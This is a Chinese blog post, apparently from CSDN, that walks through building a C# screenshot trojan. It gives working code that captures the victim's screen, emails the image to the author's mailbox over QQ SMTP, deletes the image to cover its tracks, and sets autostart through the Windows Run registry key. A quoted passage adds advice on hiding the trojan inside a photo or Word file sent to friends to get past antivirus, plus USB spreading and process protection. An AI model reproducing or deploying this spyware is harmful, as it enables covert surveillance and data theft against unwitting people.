c#截屏木马,发送到邮箱

写在前面

技术本无罪,只是人性恶。我学习伤人技,只是为了不被人伤,而不是为了伤人。

本来是在研究外挂的,但是一不小心技能点点歪了,不过影响也不大,木马跟外挂本来就有很多共通之处。废话说完,进入正题:

我的思路如下:

1、截取屏幕,保存图片

2、装入邮件,发送

3、删除图片,毁尸灭迹

4、自启动

先来第一步:获得截屏图片(啊啊啊啊啊啊,好早就想这样不按格式来,可是他们老是说要注意格式!)

需要用到win32 api的函数:

调用命名空间:using System.Runtime.InteropServices;

        [DllImport("user32.dll")]
        static extern IntPtr GetDC(IntPtr ptr);
        [DllImport("gdi32.dll")]
        static extern int GetDeviceCaps(
           IntPtr hdc, // handle to DC
           int nIndex // index of capability
               );
        [DllImport("user32.dll", EntryPoint = "ReleaseDC")]
        static extern IntPtr ReleaseDC(IntPtr hWnd, IntPtr hDc);

        int DESKTOPVERTRES = 117;
        int DESKTOPHORZRES = 118;

这个是用来获取屏幕实际分辨率的

            Size size = new Size();
            /*获取DPI大小*/
            IntPtr hdc = GetDC(IntPtr.Zero);
            size.Width = GetDeviceCaps(hdc, DESKTOPHORZRES);
            size.Height = GetDeviceCaps(hdc, DESKTOPVERTRES);
            ReleaseDC(IntPtr.Zero, hdc);
            imagescreen();//截图

有些人用Screen.PrimaryScreen.Bounds.Width和Screen.PrimaryScreen.Bounds.Height,这两个是屏幕的大小,但是有些电脑(如手提电脑)屏幕大小跟分辨率不一样,接取出来的图不完全而且模糊。

截图函数:

            Bitmap image = new Bitmap(size.Width, size.Height);//初始化图片
            Graphics g = Graphics.FromImage(image);//调用
            g.CopyFromScreen(0, 0, 0, 0, new Size(size.Width, size.Height));//截取
            ImageFormat imgft = ImageFormat.Jpeg;//类型
            image.Save(filePath, imgft);//保存

第二步:装载邮件,发送

需要两个邮箱,嘿嘿

命名空间:

using System.Drawing.Imaging;
using System.IO;
using System.Net;
using System.Net.Mail;

//QQ邮件发送代码测试成功
                using (SmtpClient client = new SmtpClient("smtp.qq.com", 25))
                {
                    //SSl加密连接开启
                    client.EnableSsl = true;
                    //用户名、密码(进入QQ邮箱网页版->设置->账户->POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服务->登录第三方客户端时`密码框请输入"授权码"进行验证`生成授权码->生成授权码)
                    client.Credentials = new NetworkCredential("123456789", "abcdefghijklmnop");//两个参数,第一个是qq号码,第二个是授权码
 
                    using (MailMessage mail = new MailMessage())
                    {
                        //邮件发送人
                        mail.From = new MailAddress("123456789@qq.com");
                        //邮件接收人
                        mail.To.Add(new MailAddress("987654321@qq.com"));
                        //Html格式
                        mail.IsBodyHtml = true;
                        //设置邮件优先级
                        mail.Priority = MailPriority.High;
                        //邮件主题
                        mail.Subject = "屏幕截图!";
                        //邮件正文
                        mail.Body = @"获取大成功!<br>666";

                        string file = filePath + "textXML.xml";
                        Attachment fujian = new Attachment(filePath, System.Net.Mime.MediaTypeNames.Application.Octet);
                        System.Net.Mime.ContentDisposition disposition = fujian.ContentDisposition;
                        disposition.CreationDate = System.IO.File.GetCreationTime(file);
                        disposition.ModificationDate = System.IO.File.GetLastWriteTime(file);
                        disposition.ReadDate = System.IO.File.GetLastAccessTime(file);
                        mail.Attachments.Add(fujian);
                        //发送邮件
                        client.Send(mail);
                        //Console.WriteLine("发送成功");

别的邮箱要改一下网址

发送完成后毁尸灭迹

File.Delete(str);

在接下来就是自启动

来自:

作者:senblingbling  来源:CSDN  原文:https://blog.csdn.net/senblingbling/article/details/50609237  版权声明:本文为博主原创文章,转载请附上博文链接! 
自启动普遍使用的5、6种方法几乎没有不被360拦截的。 
注册表你想写就被拦截,要么插入explorer,拦截。放在自启动目录,太低级了吧,msconfig一下就看到就关掉了,还会被电脑优化速度优化掉。。。。 
但这里还是要提供一下代码: 
写注册表的方法:

public void SetAutoRun(string fileName, bool isAutoRun)  
{  
    RegistryKey reg = null;  
    try 
    {  
        if (!System.IO.File.Exists(fileName))  
            throw new Exception("该文件不存在!");  
        String name = fileName.Substring(fileName.LastIndexOf(@"\") + 1);  
        reg = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);  
        if (reg == null)  
            reg = Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run");  
        if (isAutoRun)  
            reg.SetValue(name, fileName);  
        else 
            reg.SetValue(name, false);  
        lbl_autorunerr.Visible = false;  
    }  
    catch 
    {  
        lbl_autorunerr.Visible = true;  
        //throw new Exception(ex.ToString());  
    }  
    finally 
    {  
        if (reg != null)  
            reg.Close();  
    }  
}

使用的时候,直接调用SetAutoRun函数即可,这里解释一下两个参数的含义: 
fileName:需要设置自动启动程序的路径,若为当前程序可直接传递Application.ExecutablePath。 
isAutoRun:是否自动运行,为false时,取消自动运行。 
例: SetAutoRun(Application.ExecutablePath, true); //设置自动启动当前程序 
SetAutoRun(Application.ExecutablePath, false); //取消自动启动 
自启动方法还有很多,大家可以查询,但是普遍不实用啊!比如插explorer,这种桌面进程太敏感,被病毒用得不爱用的,早就被各种防御软件盯得紧紧的!

为了让程序更顽强,我们可以给客户端加上双进程保护,加上U盘自启动,并让程序自动复制到所有的盘符目录下等等。

这里要提一下,我个人觉得最好用的方法吧,就是把该客户端捆绑到某个文件或者程序上,而不要设置自启动了,因为过不去360。比如用捆绑机把客户端捆绑到一张照片上或者word上发给你的好友,然后就在服务器打开服务端静静滴等待!所有杀毒软件都没用!亲测!

链接到这上面都是大神的原话,我懒得修改了。

运行后就可以在接收人邮箱上看到截屏图了。

自启动部分只是稍微尝试了一下,并没有深层尝试(那几种方法已经比较老了,懒得再研究),说到底我本质还是一个四有青年、公德良民,制造真正木马这种事我还是很羞涩的!

以上,完!

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值